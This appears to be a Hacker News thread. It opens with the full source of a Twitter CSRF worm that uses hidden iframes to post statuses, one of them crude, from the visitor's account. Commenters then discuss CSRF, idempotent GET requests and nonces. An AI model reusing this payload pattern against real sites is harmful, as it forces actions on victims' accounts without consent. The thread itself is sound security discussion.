38 ms·
Below is the source of the worm for the curious - it's surprisingly very simple. <html> <head></head> <body> <script> var el1 = document.cr
by mrduncan 16y ago
Below is the source of the worm for the curious - it's surprisingly very simple.
<html>
<head></head>
<body>
<script>
var el1 = document.createElement('iframe');
var el2 = document.createElement('iframe');
el1.style.visibility="hidden";
el2.style.visibility="hidden";
el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location;
el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats";
document.getElementsByTagName("body")[0].appendChild(el1);
document.getElementsByTagName("body")[0].appendChild(el2);
</script>
</body>
</html>
- tlrobinson 16y agoThat would be a cross-site request forgery (CSRF) attack: http://en.wikipedia.org/wiki/Cross-site_request_forgery http://en.wikipedia.org/wiki/Cross-site_request_forgery
- Groxx 16y agoYet another reason why all GET requests in an API should be idempotent.
- cperciva 16y agoidempotent I don't think that word means what you think it means. Not unless you think having sex with goats once is fine but having sex with goats multiple times is bad. You probably meant "GET requests should be side effect free".
- dandelany 16y agoIdempotent means that the side effects of n > 0 requests are the same as for a single request. The "update status" method is not idempotent, as calling it multiple times would post multiple statuses. I think the parent's statement is sound. A request that is side effect free is idempotent by definition.
- makmanalp 16y agoRight, but the concept was created to talk about distributed systems and remote procedure calls where if a failure happened on your end and you didn't know if the procedure call worked, you wouldn't have to check if it worked before retrying. So it doesn't quite fit here. Also, I don't think idempotence is a solution to this since a) This is more of a security issue, and less of a systems design one and b) you might actually have a legitimate use case for multiple posts
- pohl 16y ago...the concept was created to talk about distributed systems and remote procedure calls... I'm pretty sure the concept's use in mathematics predates that by far.
- riffraff 16y agoso, if the first call posts a tweet and the second does not, we shall be satisfied? I stand by the side effect free side :) (notice that tweet posting is actually kind of idempotent in twitter: if you post the same message twice, it will only appear once)
- deleted 16y ago[deleted]
- andjones 16y agoRFC 2616 HTTP/1.1 has a definition of idempotence with regard to request methods: http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html Section 9.1.2 "Methods can also have the property of "idempotence" in that (aside from error or expiration issues) the side-effects of N > 0 identical requests is the same as for a single request."
- deleted 16y ago[deleted]
- kingkilr 16y agoWhile strictly speaking impotence wouldn't prevent this (trivially speaking you could only allow a single tweet with a given content), in practice idempotence is a sufficient to avoid this.
- dasil003 16y agoI'm glad it's not slashdot because this would be an impossible choice between +1 informative and +1 funny
- Groxx 16y agoxD Good point. Was getting terminology mixed up with PUT.
- bkrausz 16y agoEven if this were a POST request, once could simply issue an AJAX request of any type to Twitter and it would have the same effect. Alternatively build a form in the iframe and use JS to submit it to Twitter.
- deleted 16y ago[deleted]
- bkrausz 16y agoI'm amazed Twitter doesn't use nonce values on their status updates: they've been around long enough that this shouldn't be an issue. http://en.wikipedia.org/wiki/Cryptographic_nonce http://en.wikipedia.org/wiki/Cryptographic_nonce
- wmil 16y agoLinks like that are a common way to implement "share on twitter" buttons. Twitter does monitor the referring URL and can automatically block suspicious sites. For some reason pastehtml.com didn't set off any alarm bells. Being around for a while was part of the problem, they didn't want to break existing sites.